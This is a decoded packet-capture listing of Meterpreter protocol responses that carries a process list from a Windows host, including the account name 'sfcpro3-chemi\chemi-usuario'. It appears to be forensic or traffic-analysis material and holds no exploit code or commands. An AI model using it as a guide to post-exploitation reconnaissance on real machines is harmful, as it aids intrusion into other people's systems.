    Data: 0000000c000208fc000003040000000c000104124e2f4100... [Value] □□□�□□□□□□N/A□□□�lsass.exe□□□�lsass.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003600000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003600000000c000104124e2f4100... [Value] □□□�□`□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003a40000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003a40000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc0000015c0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000015c0000000c000104124e2f4100... [Value] □□□�□\□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000001980000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000001980000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000002740000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002740000000c000104124e2f4100... [Value] □□□�□t□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004240000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004240000000c000104124e2f4100... [Value] □□□�□$□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004640000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004640000000c000104124e2f4100... [Value] □□□�□d□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc0000047c0000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000047c0000000c000104124e2f4100... [Value] □□□�□|□□□□N/A□□□�WUDFHost.exe□□□�WUDFHost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000004cc0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000004cc0000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000005640000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000005640000000c000104124e2f4100... [Value] □□□�□d□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000006600000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006600000000c000104124e2f4100... [Value] □□□�□`□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000006980000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006980000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000007940000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000007940000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000003780000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003780000000c000104124e2f4100... [Value] □□□�□x□□□□N/A□□□�spoolsv.exe□□□�spoolsv.exe
Meterpreter protocol, TLV details
    Data: 00000046400008ff0000000c000208fc000008c40000000c... [TLV]
    Command: 0x00000046 [Length]: 70
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008c40000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�armsvc.exe□□□�armsvc.exe
Meterpreter protocol, TLV details
    Data: 00000054400008ff0000000c000208fc000008cc0000000c... [TLV]
    Command: 0x00000054 [Length]: 84
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008cc0000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�mDNSResponder.exe□□□�mDNSResponder.exe
Meterpreter protocol, TLV details
    Data: 0000006a400008ff0000000c000208fc000008d40000000c... [TLV]
    Command: 0x0000006a [Length]: 106
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000008d40000000c000104124e2f4100... [Value] □□□�□�□□□□N/A%□□�AppleMobileDeviceService.exe
%□□�AppleMobileDeviceService.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc0000091c0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000091c0000000c000104124e2f4100... [Value] □□□� □□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000004e400008ff0000000c000208fc000009300000000c... [TLV]
    Command: 0x0000004e [Length]: 78
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009300000000c000104124e2f4100... [Value] □□□� 0□□□□N/A□□□�creator-ws.exe□□□�creator-ws.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009840000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009840000000c000104124e2f4100... [Value] □□□� �□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009940000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009940000000c000104124e2f4100... [Value] □□□� �□□□□N/A□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000099c0000000c... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000099c0000000c000104124e2f4100... [Value] □□□� �□□□□N/
A□□□�TeamViewer_Service.exe□□□�TeamViewer_Service.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009a80000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009a80000000c000104124e2f4100... [Value] □□□� �□□□□N/A□□□�MsMpEng.exe□□□�MsMpEng.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000009e80000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000009e80000000c000104124e2f4100... [Value] □□□� �□□□□N/A□□□�dasHost.exe□□□�dasHost.exe
Meterpreter protocol, TLV details
    Data: 00000056400008ff0000000c000208fc00000a900000000c... [TLV]
    Command: 0x00000056 [Length]: 86
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000a900000000c000104124e2f4100... [Value] □□□�
�□□□□N/A□□□�Memory Compression□□□�Memory Compression
Meterpreter protocol, TLV details
    Data: 00000046400008ff0000000c000208fc00000e840000000c... [TLV]
    Command: 0x00000046 [Length]: 70
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e840000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�NisSrv.exe□□□�NisSrv.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc00000e080000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e080000000c000104124e2f4100... [Value] □□□�□□□□□□N/A□□□�csrss.exe□□□�csrss.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc00000f600000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000f600000000c000104124e2f4100... [Value] □□□�□`□□□□N/A□□□�winlogon.exe□□□�winlogon.exe
Meterpreter protocol, TLV details
    Data: 00000040400008ff0000000c000208fc000005f00000000c... [TLV]
    Command: 0x00000040 [Length]: 64
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000005f00000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�dwm.exe□□□�dwm.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000b6000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b60000000240001041273666370... [Value] □□□�□`$□□□sfcpro3-chemi\chemi-
usuario□□□�sihost.exe□□□�sihost.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc00000d8000000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000d80000000240001041273666370... [Value] □□□� �$□□□sfcpro3-chemi\chemi-
usuario□□□�svchost.exe□□□�svchost.exe
Meterpreter protocol, TLV details
    Data: 00000064400008ff0000000c000208fc00000bc000000024... [TLV]
    Command: 0x00000064 [Length]: 100
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000bc0000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�taskhostw.exe□□□�taskhostw.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000052c00000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000052c000000240001041273666370... [Value] □□□�□,$□□□sfcpro3-chemi\chemi-
usuario□□□�explorer.exe□□□�explorer.exe
Meterpreter protocol, TLV details
    Data: 0000006c400008ff0000000c000208fc000010bc00000024... [TLV]
    Command: 0x0000006c [Length]: 108
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000010bc000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�RuntimeBroker.exe□□□�RuntimeBroker.exe
Meterpreter protocol, TLV details
    Data: 00000078400008ff0000000c000208fc000017c000000024... [TLV]
    Command: 0x00000078 [Length]: 120
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017c0000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-usuario
□□�ShellExperienceHost.exe □□�ShellExperienceHost.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000162400000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001624000000240001041273666370... [Value] □□□�□$$□□□sfcpro3-chemi\chemi-
usuario□□□�SearchUI.exe□□□�SearchUI.exe
```

```
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000188800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001888000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�TabTip.exe⍰⍰⍰�TabTip.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc00001a1c00000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a1c000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�TabTip32.exe⍰⍰⍰�TabTip32.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc0000105000000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000010500000000240001041273666370... [Value] ⍰⍰⍰�⍰P$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�MSASCuiL.exe⍰⍰⍰�MSASCuiL.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc000019c800000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000019c8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�OneDrive.exe⍰⍰⍰�OneDrive.exe
Meterpreter protocol, TLV details
    Data: 00000070400008ff0000000c000208fc00000de000000024... [TLV]
    Command: 0x00000070 [Length]: 112
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000de0000000240001041273666370... [Value] ⍰⍰⍰�  �$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�googledrivesync.exe⍰⍰⍰�googledrivesync.exe
Meterpreter protocol, TLV details
    Data: 00000066400008ff0000000c000208fc0000126400000024... [TLV]
    Command: 0x00000066 [Length]: 102
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001264000000240001041273666370... [Value] ⍰⍰⍰�⍰d$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�vspdfprsrv.exe⍰⍰⍰�vspdfprsrv.exe
Meterpreter protocol, TLV details
    Data: 00000070400008ff0000000c000208fc0000146000000024... [TLV]
    Command: 0x00000070 [Length]: 112
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001460000000240001041273666370... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�googledrivesync.exe⍰⍰⍰�googledrivesync.exe
Meterpreter protocol, TLV details
    Data: 00000050400008ff0000000c000208fc000017800000000c... [TLV]
    Command: 0x00000050 [Length]: 80
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017800000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�fontdrvhost.exe⍰⍰⍰�fontdrvhost.exe
Meterpreter protocol, TLV details
    Data: 00000068400008ff0000000c000208fc0000167800000024... [TLV]
    Command: 0x00000068 [Length]: 104
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001678000000240001041273666370... [Value] ⍰⍰⍰�⍰x$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�LockAppHost.exe⍰⍰⍰�LockAppHost.exe
Meterpreter protocol, TLV details
    Data: 0000007a400008ff0000000c000208fc00000ecc00000024... [TLV]
    Command: 0x0000007a [Length]: 122
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000ecc000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-usuario!⍰⍰
�ApplicationFrameHost.exe!⍰⍰�ApplicationFrameHost.exe
Meterpreter protocol, TLV details
    Data: 0000005a400008ff0000000c000208fc00001db40000000c... [TLV]
    Command: 0x0000005a [Length]: 90
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001db40000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/
A⍰⍰⍰�OfficeClickToRun.exe⍰⍰⍰�OfficeClickToRun.exe
Meterpreter protocol, TLV details
    Data: 0000006a400008ff0000000c000208fc0000049800000024... [TLV]
    Command: 0x0000006a [Length]: 106
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000498000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�AppVShNotify.exe⍰⍰⍰�AppVShNotify.exe
Meterpreter protocol, TLV details
    Data: 00000062400008ff0000000c000208fc00001a6000000024... [TLV]
    Command: 0x00000062 [Length]: 98
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a60000000240001041273666370... [Value] ⍰⍰⍰�⍰`$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�ONENOTEM.EXE⍰⍰⍰�ONENOTEM.EXE
Meterpreter protocol, TLV details
    Data: 00000054400008ff0000000c000208fc00001a340000000c... [TLV]
    Command: 0x00000054 [Length]: 84
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a340000000c000104124e2f4100... [Value] □□□�□4□□□□N/A□□□�SearchIndexer.exe□□□�SearchIndexer.exe
Meterpreter protocol, TLV details
    Data: 00000064400008ff0000000c000208fc00001cbc00000024... [TLV]
    Command: 0x00000064 [Length]: 100
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001cbc000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�SkypeHost.exe□□□�SkypeHost.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc000018600000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000018600000000c000104124e2f4100... [Value] □□□�□`□□□□N/A□□□�MpCmdRun.exe□□□�MpCmdRun.exe
Meterpreter protocol, TLV details
    Data: 00000066400008ff0000000c000208fc00000f0400000024... [TLV]
    Command: 0x00000066 [Length]: 102
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000f04000000240001041273666370... [Value] □□□�□□$□□□sfcpro3-chemi\chemi-
usuario□□□�VirtualBox.exe□□□�VirtualBox.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc0000124000000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001240000000240001041273666370... [Value] □□□�□@$□□□sfcpro3-chemi\chemi-
usuario□□□�VBoxSVC.exe□□□�VBoxSVC.exe
Meterpreter protocol, TLV details
    Data: 00000060400008ff0000000c000208fc00001b9400000024... [TLV]
    Command: 0x00000060 [Length]: 96
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001b94000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�WINWORD.EXE□□□�WINWORD.EXE
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001dc000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001dc0000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000105c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000105c000000240001041273666370... [Value] □□□�□\$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001e0800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001e08000000240001041273666370... [Value] □□□�□□$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001d5000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001d50000000240001041273666370... [Value] □□□�□P$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000165c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc0000165c000000240001041273666370... [Value] □□□�□\$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c2c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c2c000000240001041273666370... [Value] □□□�□,$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000da800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000da8000000240001041273666370... [Value] □□□� �$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000014dc00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000014dc000000240001041273666370... [Value] □□□�□�$□□□sfcpro3-chemi\chemi-
usuario□□□�chrome.exe□□□�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000114400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001144000000240001041273666370... [Value] ⍰⍰⍰�⍰D$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000102000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001020000000240001041273666370... [Value] ⍰⍰⍰�⍰ $⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000e4c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e4c000000240001041273666370... [Value] ⍰⍰⍰�⍰L$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000e5400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000e54000000240001041273666370... [Value] ⍰⍰⍰�⍰T$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000019f800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000019f8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000191000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001910000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000003d400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000003d4000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000017bc0000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000017bc0000000c000104124e2f4100... [Value] ⍰⍰⍰�⍰�⍰⍰⍰⍰N/A⍰⍰⍰�audiodg.exe⍰⍰⍰�audiodg.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c8c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c8c000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001a4000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001a40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000b3c00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b3c000000240001041273666370... [Value] ⍰⍰⍰�⍰<$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001ad000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001ad0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000054000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000540000000240001041273666370... [Value] ⍰⍰⍰�T$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00000c4000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000c40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
